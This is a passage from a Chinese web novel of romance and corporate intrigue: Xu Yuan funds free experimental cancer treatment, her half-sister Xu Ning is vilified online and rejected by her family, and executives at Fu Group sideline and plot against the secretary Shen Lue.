提取治疗癌病的药材花费的就是大笔资金,哪怕后期找到替补的药材也不是小数额,目前还在试验阶段,许愿就已经向那些癌病晚期的人发放邀请,她要救的是普通人的命,但花费出去的大笔金钱却都是真实存在的。 盛世的高层,股东都认为许愿疯了。 花大价钱救这些没用的普通人有什么用! 陈飞豪业觉得许愿疯了,但他跟许愿是同一条船上的人,他这种时候不会站出来反对许愿。 而许愿什么都没说,仍然在微博让薛酒派人调查真伪为那些癌病晚期的人提供生的机会。 第290章 你当你是活菩萨吗 盛世高层见许愿还在不停的像散财童子一样向外撒钱气愤的一群人找过来逼问许愿这么做的目的。 彼时许愿在研发部与段星河因为一味药材争执,盛世高层就是这时候闯进来的。 段星河被许愿怼的脸色都变了,此刻站在一旁瞥了眼闯进来的高层几眼,啧了一声:“找你的,先解决了再说别的。” 许愿轻微皱眉。 “找我什么事。” “我们找你能有什么事!许愿你为什么要花钱去救那些普通人!你是跟段星河研究出了治疗癌病的药,但是那些药材也不便宜啊!你当你是散财童子吗!这都是我们盛世的钱!” “就是,没见过谁做研发这么大方的。” “就算真的研究出治疗癌病的药物价格也肯定是不低的,我们是为了挣钱,不是为了当什么大善人。” “被人夸句善良能给我什么?什么都不如真金白银来的痛快!” “必须发放消息让那些人全都滚回去,不然就要支付昂贵的费用,我们盛世可不救穷人!” 他们这些人有人已经花费高价将治疗的机会给了上流圈子的贵族,谁也没想到许愿会来这么一出,这多碍眼啊,必须把那些穷人赶走! 许愿手执着钢笔点了点桌面,哒哒的声音很轻,但听在人耳畔让人觉得心里一阵发凉。 “请问赵董事手中有盛世多少股份,林董事有多少,梁董事呢?你们所占据的股份在盛世有百分之十吗。” 几人哑声了,面面相觑。 说是大股东,但其实百分之十都不到。 “我和盛景炎加之薛酒手中持有的股份早已超过百分之五十,所以你们还有什么问题吗。” 这话就是说盛世几乎是她的一言堂。 她愿意听这些高层的意见可以听一听,如果没兴趣听,那许愿完全可以自行做主。 百分之十的股份,闹到她面前太难看了。 梁董事被气的嘴唇都跟着抖了下。 “可是……可是你花费的可都是我们盛世的钱,我们分到的钱会跟着变少的!” “我们可不想当什么活菩萨!” 说白了,还是为了利益。 许愿眸光微闪,声音冷淡:“我自行出资,我想当这个活菩萨,还有疑问吗。” 众人哑口无言。 他们是来找茬的,却被许愿完全碾压,此刻甚至于支支吾吾的说不出话。 许愿都说她自行出资,他们还有什么好说的,只能愤愤的瞪视了许愿几眼然后仓惶的逃开。 许愿面无表情的垂下眼睫,在数据表格上写写画画。 段星河嘴巴里叼了根草莓味道的糖果,吊儿郎当的倚靠在一旁轻嗤一声。 “我真是搞不懂你啊。” “明明是盛华的掌权人,却偏偏要在盛世待着,你都不觉得那群盛世的老王八烦人?不如早点带我回盛华,那才是你的地盘。” 段星河说着风凉话。 许愿抬眸瞥他一眼。 “盛世是盛景炎的,也是我的地盘。” 许愿垂下眼睫。 “迟早有一天,我会肃清盛世,不该在的人会离开的。” “是哦,盛景炎是你的爱人,他的东西自然也是你的东西。”段星河一口咬碎了嘴巴里的糖果,偷摸走许愿写到一半的数据册,用笔在上面写写画画。 许愿:“……” 许愿捏了捏眉心:“段星河,不是说偷拿走这个我就能完全听你的,我们要按照数据来理论这些。” “但明显华英草的效果要比你说的沙华草见效快,我们要治疗的是癌病患者,既然是要杀死癌细胞,那肯定要用攻击力最强的药草。” 段星河提起这些振振有词。 “那你有没有想过,见效快副作用也多。” “得了癌病的人身体跟普通人相比免疫力本就更低,如果按照你说的要用见效快的药物,到底杀死的是癌细胞还是病人?” “患了癌病的人本就可能还有其他病症,这样强有效的药物如果不能适用于大部分普通人,那他被生产出来就是废品。” “段星河,我们要的是杀死癌细胞后病人还能存活而不是杀死癌细胞后留下的只是一句冰冷的尸体,那杀死癌细胞还有什么用?” “我们是要延缓癌病患者的寿命,不是加速终结他们的生命。” 许愿将所有药草组合到一起的数据分子全都摆出来。 段星河现在属于什么状态? 做任何事只看结果,你要我治疗癌病,那我就治好癌病,不管后续,若非许愿盯着,怕是要酿成祸端。 “怎么你跟苏逸说的话都是一样的,你们姐弟真是讨厌。” 段星河啧了一声将许愿的数据本丢到桌上,慢吞吞的踹着兜躺倒在实验室内的软椅上,一脚蹬在许愿的椅子边勾弄着支撑着自己的身体,懒懒散散的从喉间发出“哼”声。 “你们姐弟可比刑从景带来的警备队的人还讨厌,说起话来头头是道像是小老头小老太太。” “苏青莲可从来不会这样。” 许愿挑眉:“她会怎么做。” 段星河像是陷入了一场回忆,良久后才怅然道:“她会先微笑的鼓励我说干得漂亮。” 许愿不相信苏青莲真的会这么做,苏青莲虽然疯但是基本的理智还在的。 见许愿明摆着不信自己的话,段星河有些无奈:“好吧,她会先鼓励我然后一巴掌拍到我的脸上骂我,她才不管我改不改,反正最后她会改了我的数据,强盗逻辑。” 段星河小声嘟囔:“一家子强盗。” 许愿淡淡的瞥她一眼,段星河这才干咳一声,随手抽了本书盖在自己的脸上,闭眼装死。 “段星河。”许愿喊他的名字。 “段星河不在。”他装听不见。 “苏青莲,到底是个什么样的女人,为什么那么多的人都在狂热的爱慕着她。” 这两天的热搜许愿一直都在关注,一旦提及苏青莲不好的消息都会被人花钱撤下去,且撤下热搜的分为几大势力。 黑白灰甚至是有红色背景的人出面勒令抹去那些消息。 他们好像完全不允许有人抹黑苏青莲。 第291章 你就是纯纯恋爱脑! 网络上有人辱骂苏青莲后几乎都被封号,而那个海外公司的账号出现后就已经被几波势力的人深入调查,许愿不得不想,是不是当年苏青莲的追求者。 到底要优秀到什么地步,才能让这些人这么多年都对苏青莲念念不忘。 段星河没有拿下盖在脸上的书,他的呼吸声很轻,像是没有听到许愿开口的话。 “段星河。” 许愿又喊了他的名字。 实验室内静的可怕,只能听到彼此之间的呼吸声,灯光过于亮,甚至有些刺眼的,段星河拿下遮盖在脸上的书,忍不住眨动了下眼睛,眼睛发酸让他眼底溢出一滴泪,那种从心底泛出的酸涩感让他自己都无所适从。 “没有人不爱高贵完美的公主。” 段星河抬头,目光就盯着那炽亮的灯光。 “哪怕是被困在泥潭再肮脏的蛆虫遇到那样远在高山之巅的人也会生出火热的爱意。” “出身是第一步,重要的是,她总会在最关键的时刻出现将他们从水火之中拯救出来。” “她念书的时候国内的教育资源有多落后你是知道的,苏青莲用最短的时间留学归来将自己所见所闻乃至于那些教程编写下来上交,你能知道这是多大的贡献,但她什么都没说,你能明白她这样淡然从容的事给那些大院的人带来多大的震撼。” “明明是商人之女却胸怀大义,唐青江没有出事前,苏青莲曾经险些进入外交部,因为她曾多次被国外资本邀请参与一些合作,数次在合作中碾压外国资本。” “她做到了很多人无法做到的事,他们迷恋的不只是苏青莲的容貌,更是苏青莲强大的震撼的永远坚不可摧的灵魂。” “当年苏青莲去世的消息传出去后真正的上流圈子没有多少人相信这件事,但偏偏这些人都来吊唁,因为他们猜得到是苏青莲有了下一步计划,他们心甘情愿沦为苏青莲的棋子。” 提到苏青莲,段星河滔滔不绝。 脑海中都闪过苏青莲的音容,唇角忍不住的笑意,就连眼底的神色都柔和下来。 爱一个人时,就是会温柔。 许愿能感受到段星河对苏青莲的诚挚感情。 她顿了下,微微抿唇:“可她很自私,她放弃了你。” 段星河温柔的笑意逐渐收敛起来,他眼底略过一抹不易察觉的忧伤,但很快调节过来,歪着头看向许愿时嗤了一声:“你这孩子真是不讨喜,她放弃我的同时不也放弃了你?” 她哪里是放弃他们呢? 她分明是只选择了唐青江。 两人都心知肚明。 段星河摩挲着自己的手掌开口:“给你个忠告,不要跟苏青莲作对,你想象不到站在苏青莲身后的人会是什么身份。” “你是资本,她同样是,你已经翻阅高山,可她早在二十多年前就已经翻阅了多座高山,而你又怎么知道你翻阅高山后不是更高的山。” 许愿沉默片刻很轻很轻的笑了。 “你以为我会担心吗。” 许愿开口:“她有软肋。” 唐青江就是苏青莲的软肋。 段星河长指点了点他自己的头,对着许愿意味深长开口:“她有软肋难道你就没有吗。” “她只有一个软肋,你有多少软肋?不说苏青莲,就是什么旁门左道猫猫狗狗的都能用你的软肋威胁你,你不是知道的吗。” 比如傅长海,比如远程的总裁,比如莱蒂斯…… 许愿眼神一暗,见她脸色变了,段星河也不再提这些,慢条斯理的拿出手机。 他是真的跟许愿吵累了。 其实他也觉得许愿说的是对的,但他觉得自己绝顶聪明不肯低头罢了,吵累了不想吵了,刷会儿手机放松下。 结果就刷到许愿登上热搜的此条,赫然都是在讨论许愿要免费为那些已经癌病晚期的人治疗的信息。 段星河震惊。 “你玩真的?” “刚才盛世那群老狐狸们说的不是玩笑?” “我以为你只是选几个人来救,你是疯了吗要选这么多人?” “许愿你没事儿吧,你要实在是脑子有问题闲的钱没处花你把钱打给我啊!” 许愿敛眉开口。 “其实我一直觉得好人是会有好报的。” “你又在迷信了?”段星河都被气笑了:“你运气好能遇到那么多乱七八糟的人?” “我遇到了盛景炎。” 恋爱脑!纯纯恋爱脑!有病!有大病! 段星河眼睛都瞪圆了。 “行,你运气好,你遇到了盛景炎,所以呢?” “所以我想再多做点好事,算是为他祈福,多救一个人就能多些福报,我不是迷信,我只是求一份心安。” “你以为我付出了很多吗?其实并没有。” “他们看重金钱,可能因为重症癌病苦苦挣扎求生,我不缺钱,我赚的够多了,哪怕给他们这些人免费治病剩下的钱仍然几辈子都花不完,既然如此我为什么不能……嗯,像你们说的那样散财呢。” “而且。”许愿停顿了下:“你怎么知道我真的只是单纯的散财而不是在报复某些人呢。” 段星河多聪明,一下子就想清楚前因后果。 许愿有钱不缺钱,所以退她并不看重金钱。 在这种时候做好事不仅是图心安为盛景炎祈福,更是美化了她在大众的形象,真金白银砸出来的完美形象。 同时……越多的人讨论许愿就有越来越多的人嘲讽许镇江攻击许宁。 往后那些与许愿为敌的人可能都讨不到好,人们会先入为主的认为她可是许愿啊,那个可以豁出去花费资产去拯救普通人的许愿怎么会做错事呢?她明明高高在上却要怜悯凡人,错的一定会是其他人。 她是提早下了一盘大棋啊。 这种方法确实好用,但前提是……那群人有能与许愿相匹敌的雄厚财力。 段星河不再骂许愿是疯子了,他放空一切的躺在软椅上,良久才哀叹一声:“我们两个加一起八百个心眼你一个人占了八百个吗。” 第292章 所有人都在怪她 “小看你自己了,如果我们两个加起来有八百个心眼,那我们也只能说是一半一半。” 许愿可不认这个。 段星河撇了撇嘴,这话他没办法接,毕竟他也设计过许愿。 啧,要不说物以类聚人以群分呢,许愿身边人的心眼子加起来都跟筛子一样多,他实在没忍住在心里吐槽了一句“许筛子。” 事实就像许愿和段星河说的那样,网络上已经乱成一锅粥。 他们在夸许愿大义,甚至上面有人乐见其成夸奖许愿以此来贬低许宁,谁也不知道那些人背后成分,是苏青莲的人亦或是许愿的人。 “许宁就是颗老鼠屎在胡搅蛮缠,有她在的地方就不得安宁!” “小三的女儿就是小三的女儿,永远登不上大雅之堂!” “简直笑死人了,听说许宁还想跟许愿去比,她拿什么跟许愿比?她有这个魄力吗?我虽然不是多好的人,但我敢肯定如果我有许愿那样的资产我不可能做出眼睛就不眨的散尽家财去救助一群对自己没有任何帮助的穷苦群体,我就是知道自己内里有多自私凉薄薄情寡义才会知道许愿这样的人有多难得!许宁跟她比?配吗!” “能跟我们这样的普通人群体共情的资本家能有几个?” “许宁竟然还想要害许愿和苏逸,苏逸这个年纪就已经参与研发了抗癌药物,许宁能吗?” “别说苏逸不是私生子,就算苏逸真的是私生子,可他做出的贡献就足以抹平一切!许宁不配对他们姐弟评头论足!” 许愿花了一笔钱,达到了她想要的结果。 散尽家财? 她自然不需要散尽家财,盛华的总裁拥有的财富常人无法想象,她不过花费冰山一角就已经达到自己想要的结果。 许宁自然看到这些热搜和对自己的热评。 他们说许宁记恩不记仇吃里扒外愚蠢无能只有一张姣好的面容却还满腹算计,她被气的浑身都在发抖。 她克制不住想疯狂发泄砸东西,房间内的东西全被她砸烂。 可别墅外面全都是记者,“砰砰”的声音自然让记者们都听到了,下一秒#许宁无能狂怒#的此条就登上热搜。 许宁气的心脏都发疼,捂着自己心口此刻气到一句完整的话都说不出了。 她的母亲也在这时打电话来怒斥:“许宁!你能不能不要再胡闹了!你知不知道你让你叔叔帮你换药被查出来后现在他人都被带走至今生死不明!你现在还要继续闹,现在那群记者邻居都来堵我家的门逼着我承认是不是许镇江的小三生下了你!我还要不要做人了!” “妈!我现在被那么多人追着辱骂你就只想到了自己吗!” 许宁怒吼。 “那不然呢!我还要心疼你吗!那谁来心疼我!” “你以为当年我为什么勾上许镇江!我就是为了钱!把你给了许镇江我拿到一笔钱就够了,你还真像跟我捆绑一辈子!早知道我会生下你这样无能又恶毒的女儿,我就不该接近许镇江那个废物!” “你以后别来找我,我也当没有你这个女儿!你要疯要死都别拉着我!” 许母说完直接挂断电话。 许宁只觉自己心脏仿佛都要被撕裂一样的疼痛,疼的她几乎无法呼吸。 什么啊。 为什么所有人都在怪她?凭什么呢? 苏青莲和许镇江的事她从来都不清楚啊,她真的以为苏逸是私生子,她真的以为苏青莲背叛了许镇江,她承认自己想毁掉苏逸和许愿……可这一切的真相她不清楚啊。 她是私生女,但是她也不想选择这样的出身。 为什么要指责她好像一切的苦难都是因她而起。 生父在怪她,生母在怪她,那些患病的人在怪她,好像这世界有了她才会如此糟糕。 多可笑。 她至今仍然看不清这些人怪她全部都是有原因的。 许镇江曾阻拦过让她不要一意孤行不要提及苏青莲相关的事,他不想伤害苏青莲不能听到有人侮辱苏青莲,可她一定要伤害苏青莲才导致她自己被反噬。 许母在她打算更换许愿药物后阻拦过,她却威逼利诱迫使她同意,她重组的幸福美满的家庭也因为许宁而破裂。 患病的人怪她,因为那些盲目跟风的人相信了许宁的话在网络上污蔑许愿苏逸没有了被盛世救治的机会,那许宁就是罪魁祸首,如果未来家人真的因病去世他们也会将许宁看做“杀人犯”。 这些,确实都与她有关。 许愿看待女性都是带着滤镜的,她愿意温柔的对待所有女性,因为知晓这世界对女性的不公。 哪怕最开始知道许宁的身份她也从未针对过许宁,是许宁一次次得寸进尺的伤害才让许愿对她再不留情。 许宁在争抢在掠夺,她只会迎难而上。 许宁关着窗还能听到别墅外记者们的吵嚷声,他们都在叫嚷着让她滚出去,其中不乏有苏青莲的狂热追求者在斥责怒骂她。 许镇江已经临近精神衰弱,支撑不出的推开门,看到许宁身体颤抖的缩在角落,本来怒骂的话到了嘴边又咽下去。 他像是叹了口气。 “我早跟你说过,不要提苏青莲,不要继续跟许愿作对,你为什么就是不肯听呢。” “你从来没有跟我提过苏青莲跟你不是夫妻关系。”许宁一字一顿几乎是咬着牙问他。 她又将一切都算到了许镇江身上。 若非许镇江藏着掖着,她也不会犯下这样大的错处! “我们就是夫妻关系!我们就是!”许镇江本想劝她几句,此刻听到她说这些话一时激动血气上涌,到了现在仍然不肯承认自己跟苏青莲的关系是清白的。 “谎话说的多了连你自己都信了。”许宁不屑道:“苏青莲真的那样优秀她凭什么会看上你,图你风流图你浪荡图你是没用的凤凰男吗。” “你给我闭嘴!” 许镇江控制不住一耳光甩到许宁脸上,力气太大许宁栽倒在床上滚了两圈险些摔到地上。 第293章 被边缘化的沈略 她咬着下唇挤进发狂的将床上的抱枕和已经被摔到碎裂成两半的台灯往他身上砸着。 “苏青莲看不上你!她根本就不是你的爱人不是你的妻子!这么多年了你能不能醒一醒!你还要装糊涂到什么时候!” 许镇江没有躲闪, 被迎面而来的台灯木头碎片砸到额头,鲜血溢出,他却感受不到疼一般,整个人仿佛都在此刻变得苍老。 他跌跌撞撞的离开许宁的房间,脚步踉跄背影慌张,他捂着耳朵,好像捂住耳朵就听不到许宁说的那些伤人的话。 这么多年,仍要自欺欺人。 许宁就窝在床上,整个人缩成一团在发抖。 别墅外的记者仍然在叫嚣让她滚出去,这样的嘈杂环境下,许宁完全无法静下心,她握着手机浑身发抖还是拨打了报警电话。 她受不住了,如果那些人还要继续在外辱骂她会完全崩溃的。 二十分钟后果然有警员赶到,记者们一哄而散。 许宁都能感受到警员看向自己时犀利的眼神。 是了,警员肯定也知道发生了什么,甚至有可能也爱追捧许愿苏青莲这些人。 许宁很想躲藏起来,却不知道能藏到哪里。 她一整晚根本睡不着,只要点开手机看到的就是满屏辱骂的话,心尖都跟着颤抖。 她总要得到点什么抓到点什么。 傅京礼…… 是的,傅京礼。 她没有更多退路了,她只有这一条路了。 “她”救过傅京礼的不是吗?傅京礼说过会报答她会娶她的,她只能依靠傅京礼。 这么久以来,无论她做错什么事都是傅京礼帮她摆平的不是吗。 只要有傅京礼,她就能被拯救。 她很想现在就去见傅京礼,但现在是深夜,她好不容易才按压下自己想见傅京礼的欲望,却是彻夜未眠。 到了第二日一大早,许家别墅外的记者们早就因为警员纷纷离开,偶尔还有零散的几个人,但对许宁已经构不成多大的威胁。 许宁在保镖的护送下一路开到傅氏。 这阵子外面的风波太大,她也被迫停职,到了傅氏出示身份卡,守在门口的保安都多看了她几眼。 许宁阴沉着脸很想恶狠狠的瞪回去,但现在她在傅氏,难保不会被什么有心人看到又在背后胡说八道。 许宁在傅氏可的确是名人,所有看到她的认识她的同事员工都会多看她一眼,只是那眼神中都不带几分善意。 “麻烦精这时候还敢来公司啊。” “她怎么还敢来公司的啊,如果我是她,我可没这个脸继续来公司,羞都要羞死了。” “脸大呗。” “当初她刚来公司的时候我就看出她不是省油的灯,才来几天就把我们许秘书赶走了,想顶替许秘书的位置也不看自己配不配,又争又抢的自己是那块料吗,简直可笑。” “谁能想到我们傅氏铁三角最终解散全是因为一个这么拿不出手的女人,” “如果不是她,这次金融峰会傅氏绝对能拿到最多的合同能够独占鳌头,而不是被盛世狠狠踩了一头。” 秘书科的秘书们看到许宁凑到一起叽叽喳喳的嘲笑。 她们当然会厌恶许宁。 因为许宁挤走了许愿。 能在傅氏秘书科工作的能有几个省油灯?谁还看不出许宁那点弯弯绕绕。 她们同属秘书科,许愿有时候会漏一些小合同给她们去谈,那些许愿看不上的小合同能拿到的提成拿到的就是不少的奖金。 许宁挤走许愿就是直接的触犯了她们的利益,她们当然看到她就恨得牙根痒痒。 以前还会背着许宁说闲话,现在几乎是当着她面说。 若是以前许宁早就发飙了,但这次许宁隐忍着不想把事情闹大,显得自己真的是个“麻烦精”。 许宁强撑着压下内心的火气和委屈到了总裁办公室外,不巧,正看到沈略坐在长椅上再翻看策划案。 他似乎心情并不好,眉头紧皱。 许宁这种时候可不想对上傅京礼身边的其他人,她深知傅氏内部没几个人喜欢她。 许宁越过沈略就要去进办公室,才抬脚,就听到沈略冷淡的声音。 “站住。” 许宁脚步顿住。 “傅总这种时候可能并不想见你。” 沈略没有合上文件,头都没有抬。 “沈略,你能代表阿礼吗。” “你以为你现在还是备受阿礼信任的沈秘书吗?我这段时间虽然不在傅氏却也知道你早就被排除在傅氏高层外被完全边缘化了。” “阿礼都已经放弃你,所以你凭什么以为你有权利拦住我的去路?” 许宁在嘲讽沈略。 沈略被剔除傅氏高层这件事其实都能看得出来。 各类会议都已经没有沈略的身影,一些工作都被交接到其他人负责,甚至于傅京礼身边的秘书也换了一位。 沈略不再是傅氏总裁的首席秘书,这几乎快变成人尽皆知的事。 但没有人放到明面上说,因为他与许愿的情分还在,不会有人愚蠢到去直接得罪沈略。 许宁这样已经把所有人都得罪透了的蠢货除外。 “傅总不想见你。” 沈略不想与她多做纠缠,只淡淡的回应她。 “我说了,你无法代表阿礼。” “我和阿礼的情分不是你这种被边缘化的人能懂的。” 沈略缓缓抬起头,一直都带笑的温和目光在此刻浸着几分淡漠,他扶了扶鼻梁上的眼镜,目光落在面对自己趾高气扬的女人。 “你知道情分这种东西是会被消磨殆尽的吗。” 许宁最听不得这种话。 “这是我和阿礼之间的事!还轮不到你来管!” 许宁像是被戳中痛处瞬间跳脚脸色都变得有些狰狞可怕。 窗外升起的细碎阳光照在他的侧脸上,他眼睫微微颤了下,没再开口说其他的话,只是低下头继续翻阅仅剩的几分文件。 他手中的权利已经被尽数分出去。 他几乎被架空了。 就像许宁说的,他已经被傅氏边缘化了。 说起来他其实一直都没有被傅京礼真正的完全信任,傅京礼最信任的只有容浔。 第294章 挟恩图报也算羁绊? 那日在晚宴见过许愿后容浔就已经无声的在傅氏架空他的权利,这其实算是一种职场霸凌,沈略自那日后已经很长一段时间脸上都不带半分笑意。 他清楚容浔做的事傅京礼都知晓。 傅京礼没有阻止本身就是默认。 就像许愿说的,傅氏已经变了,傅京礼也变了,这地方已经不适合他,他还能待多久?多待一天都是折磨。 沈略不受控制的手上用力,文件纸页都被揉捏出褶皱。 见沈略一直沉默,许宁脸上略过明显得意的冷笑,但这笑意还没有支撑多久许宁余光就已经瞥见在一旁驻足良久的容浔。 他姿态闲散悠然的倚靠在墙边,手里把玩着一串不知道谁送来的佛珠手串,明明戴着眼镜却因为那双狭长的眼眸给人一种危险的感觉。 他唇角带着明显的笑意,只是笑意完全不达眼底。 “有些事也需要许小姐清楚,沈略再如何被边缘化在我和傅总这里都要比只会招惹麻烦的许小姐重要百倍。” “其实许小姐也不得不承认这点不是吗,毕竟……许小姐今天来见傅总就是为了网络上那场风波。” 容浔懒散的掀起眼皮,语调淡淡的。 “我昨晚还在跟傅总打赌说你最迟今天绝对会来,真巧,让我猜中了。” 许宁要说的话全都被堵在嗓子眼。 见到容浔就有种老鼠见到猫的惊慌失措感。 她克制不住的后退几步。 她敢对沈略冷嘲热讽是因为她能感受到沈略这人手段足够光明磊落,但容浔……见到容浔会给她一种会藏毒的毒蛇的错觉。 见她如此慌乱害怕,容浔微微眯了下眼,一步一步极其缓慢的走近许宁,像是故意的放轻步子。 直逼许宁面前。 许宁已经被逼到墙角,退无可退,她吞咽着口水大脑飞速运转。 容浔低头看着面前的女人。 许宁是漂亮的,当然与许愿那种明艳大方的美是不同的,许愿那种绝对上乘惊艳的美绝无仅有的。 许宁的漂亮只能说是普通的漂亮,甚至漂亮中带着寡淡的味道。 她漂亮的过于千篇一律,像是科技整改过的小白花感觉。 这样离得近了,更能感觉到许宁是个完完全全的劣品。 他见过许宁参加晚宴是一副什么模样,会骄傲自得,却又担心做错事所以束手束脚的,会谨慎的轻轻敲打着杯壁,眼神躲闪的担心自己无法应付社交场合,整个人都显得机械僵硬。 自那场晚宴后傅京礼没再带她参加晚宴。 许宁的出身也好阅历也好都足以说明她不配参与那样高档次的晚宴,她也只配混在许家这样小家族的晚宴中当个小领袖吹嘘自己。 可偏偏就是这样的劣品打败了许愿。 砂砾击溃了价值连城的天然玉石。 多可笑。 “你这样的人竟然也能赢过许愿。” 容浔喉间溢出明显带着嘲意的冷笑。 “你说,你全身上下什么地方配与她作比较。” 是,她不配,可傅京礼就是选了她! 许宁握紧拳,咬着牙:“你来问我不如去问阿礼,我和阿礼之间的羁绊不是你们这些局外人能懂的!” “羁绊?” 容浔笑意凉薄:“挟恩图报也算羁绊?” 许宁一直在逼迫傅京礼,可不就是挟恩图报。 许宁脸色惨白。 “许宁,你多厉害啊。” 容浔见她如此不由加大火力嘲讽。 “当年莱蒂斯那般设计陷害都没能让我们傅氏铁三角之间生出嫌隙,而你却轻轻松松的让许愿离开傅氏,傅氏股价落跌,你真是功不可没。” “人们常说红颜祸水,可你这样的货色怎么也能当个祸水呢。” “你说……” 容浔压低声音,停顿了下,上下打量许宁几眼,眼神里面明显带着嫌恶和挑剔。 “傅总什么时候会腻了你,我想用不了多久,他会看透你的真面目跟你彻底分道扬镳。” “你不懂我们之间的羁绊!阿礼不会这样对我的!他爱我!他爱我!” 许宁完全不能接受容浔的说法,对容浔的恐慌都要被压到后面,握着拳疾言厉色的反驳。 “爱你?” 容浔像是听到什么可笑的事,喉间溢出冷笑。 “哈,爱你?” “你的意思是说他爱着你却在整日为许愿买醉?他爱你却整日翻看着许愿的微博?他爱你却要去了解许愿的喜好?他爱你却要时时刻刻盯着许愿的动向?” “许宁,都这样了你还觉得他爱你?” 容浔扶了扶鼻梁的眼睛,声音里的笑意不减,却带着极强的攻击性直戳许宁心扉。 “许宁,他爱的是许愿,从不是你。” 许宁整个人身体僵住。 她宛如木头站在原地,抬起头死死盯着容浔像是想要求一个说法。 容浔懒懒散散的伸了个懒腰不咸不淡道:“不是要见你的阿礼吗,他就在总裁办公室内,你可以直接推门进去,不是说他爱你吗,你可以去见他问清楚他爱的到底是谁。” 他为什么会让许宁这时间去见傅京礼? 他那样厌恶许宁,怎么可能真的想帮许宁,他不过是想让许宁这个时间进入办公室看看傅京礼在做什么。 无非是添把火,让许宁清楚傅京礼爱的是谁。 省的她还要执意的活在自己编织的可笑谎言中。 许宁跌跌撞撞的进了总裁办公室。 容浔抬眸望着许宁的背影,眼神也跟着一暗。 他随手点了根烟抽了口,他还是那副懒洋洋的模样坐到沈略身旁。 “是不是特别恨我。” 容浔开口问他。 大家都是聪明人,他只说这句话他相信沈略能懂他的意思。 是不是特别恨他,恨他架空了他离间了他跟傅京礼。 沈略眼神很淡:“没什么可恨的,你只是完全忠于傅总。” “看来你懂。”容浔掸了掸烟灰,很轻的笑了一声,偏头看他:“你知道我完全忠于他,那么你呢,你忠于谁呢。” 沈略眼神平静的看着他。 容浔眼底带笑,却带着审视。 “沈略,你很清楚许愿离开后你的心就乱了,你不能完全忠于傅总,所以你被踢出高层圈只能怪你心智不够坚定。” 第295章 离开就是背叛 “你们没有给我选择的机会。” 沈略看向容浔,他已经不像许愿在傅氏时那般一直带着温和笑意。 “那么。”容浔仍然看着他,目光都没有任何变化。 “如果给你机会你就会选择忠于傅氏忠于傅总去针对许愿吗,沈略,你做得到吗。” 沈略眸光微闪。 容浔却已经从他此刻的反应得到了答案。 “不是我们没有给你选择的机会,是你自己放弃了投诚的机会,你有机会但你自己没抓住。” “怪不得任何人。” 沈略和许愿关系太好,甚至他都可以透过沈略的眼神看出他对许愿的另类感情,傅京礼没看出来但他能看出来。 他爱慕许愿。 他这样爱慕许愿,又怎么可能做出任何伤害许愿的事? 许愿被许宁设计流产后沈略这种常年无休的人抛下所有工作赶到云尚时就已经暴露了他所有的感情。 他对许愿心软,就是对傅氏的背叛。 “为什么一定要这样做。” 沈略看着与自己一起工作多年的人,声音里面似乎都带着几分厉色。 “我们是朋友,她只是遇到了爱的人,她是先遭受到傅总的伤害与背叛才毅然决然离开傅氏,傅氏被猜忌时是她站出来维护傅氏,她做到这一步难道还不够吗!” 容浔笑意已经冷了。 “沈略。” “她知道太多秘密,她的离开本就是一种背叛。” “我可以给你换一种说法,如果盛世和傅氏的初始战力都是一百,那许愿离开傅氏加入盛世就是为盛世增添战力,这就是背叛。” 许愿是个聪敏人,三年时间足够她摸清傅氏高层的一些机密,甚至于傅氏内物的很多核心文件,她离开傅氏选择盛世如果有了竞争关系,许愿有很大概率击败盛世。 就像这次的金融峰会。 如果这次金融峰会开始前许愿还在傅氏,那赢家必定会是傅氏,这何尝不是一种背叛。 “那我的离开,也是背叛,对吗。” 沈略手上的动作逐渐加重,纸页上的褶皱折痕愈发明显。 “你想我如何回答。” 容浔笑着看他,其实这样的回应就已经是给了他答案。 哪怕是傅氏抛下他不再信任他让他逐渐变成傅氏高层的边缘人,他们仍然还要将被抛弃的沈略看作是背叛者。 多离谱多可笑的说法。 “你们如何对许愿就会如何对我是吗。” 沈略唇角都带着几分自嘲的笑意。 容浔目光落在他身上,目光向下扫视着他像是在打量审视,片刻后他容浔意味不明的哼笑一声没有给回应的离开。 怎么对许愿就怎么对他? 许愿有傅京礼护着有很多事他不好直接做,但是沈略……既然知道傅氏那么多事,能不能离开傅氏就要另说了。 容浔回到自己的办公室拨了通号码,声音冷淡:“那几份跨国合约案的详细资料查到没有,跟沈略有没有关系。” “没有?” “那一定是你们查错了信息。” “你们要想清楚,如果不是沈略弄错数额,那就是你们所属部门承担后果了。” “这笔钱你们赔得起吗。” …… 许宁推门进入傅京礼办公室。 她头有些昏昏沉沉的,被办公室内过于明亮的灯光刺的眼睛里多了泡泪水。 她抹去眼角的泪水,悄无声息的缓缓行至男人面前。 傅京礼的电脑界面是开着的,他登录了微博账号,上面入眼的就是许愿发的微博。 有她阳台开得正盛的花朵,有她拍的一盘小点心,有她拍下的雨后彩虹…… 他在看着许愿。 他在想着许愿。 他在爱着许愿。 他心里只有许愿。 就像容浔在她耳边的恶魔低语,他说傅京礼爱的不是她,爱的是许愿。 许宁从未如此真实清楚的感受到来自傅京礼对许愿的炽热感情。 一句阿礼堵在喉间却无法喊出来。 眼眶里已经蓄满泪水,却还是在此刻强撑着没有让自己落泪。 许宁握住自己的手,指尖陷尽掌心,细密的疼痛令她心口都感受到了那种痛楚。 她在心里一遍又一遍的默念,许愿,许愿…… 从一开始的恍惚到最后的浓烈恨意。 她这一辈子都被许愿踩在脚下,曾经许愿是嫡女她是私生女,她的出身永远不上台面,现在一切都澄清了,许愿根本没有许镇江身上的任何劣质基因,而她仍然是那个会被人唾弃嘲讽的私生女。 母亲恨她父亲恨她,就连她最后属于傅京礼的庇佑都要被夺走了。 她要有多不甘愿。 “阿礼。” 许宁抹去自己脸上明显的泪痕,扑过去抱住男人,死死的抱住,很怕自己没有抱紧就会被傅京礼推开。 傅京礼没有任何表情,他仍然在滑动鼠标看着许愿的微博,感受到许宁的手故意在自己身上撩拨,如此主动却又低贱,他能嗅到鼻端传来的浓烈的香水味儿。 她的勾引主动令他厌烦。 好像此刻透过屏幕就能看到许愿带着嘲讽的笑脸在凝望他与许宁亲密。 他眸色一厉,狠狠将人佛开。 猝不及防被推落到地面上。 膝盖上本就未好的伤口被磕绊出青紫痕迹,许宁双手撑着地面,不敢置信却又满脸悲痛的抬起头望向无动于衷甚至满脸冷意的傅京礼。 “为什么。” 她问为什么。 傅京礼垂眸,面色肃冷的看着她,唇角明显藏着冰冷之意。 “许宁,注意你的身份。” 许宁指着自己“哈”的笑了一声:“我的身份?我什么身份?” 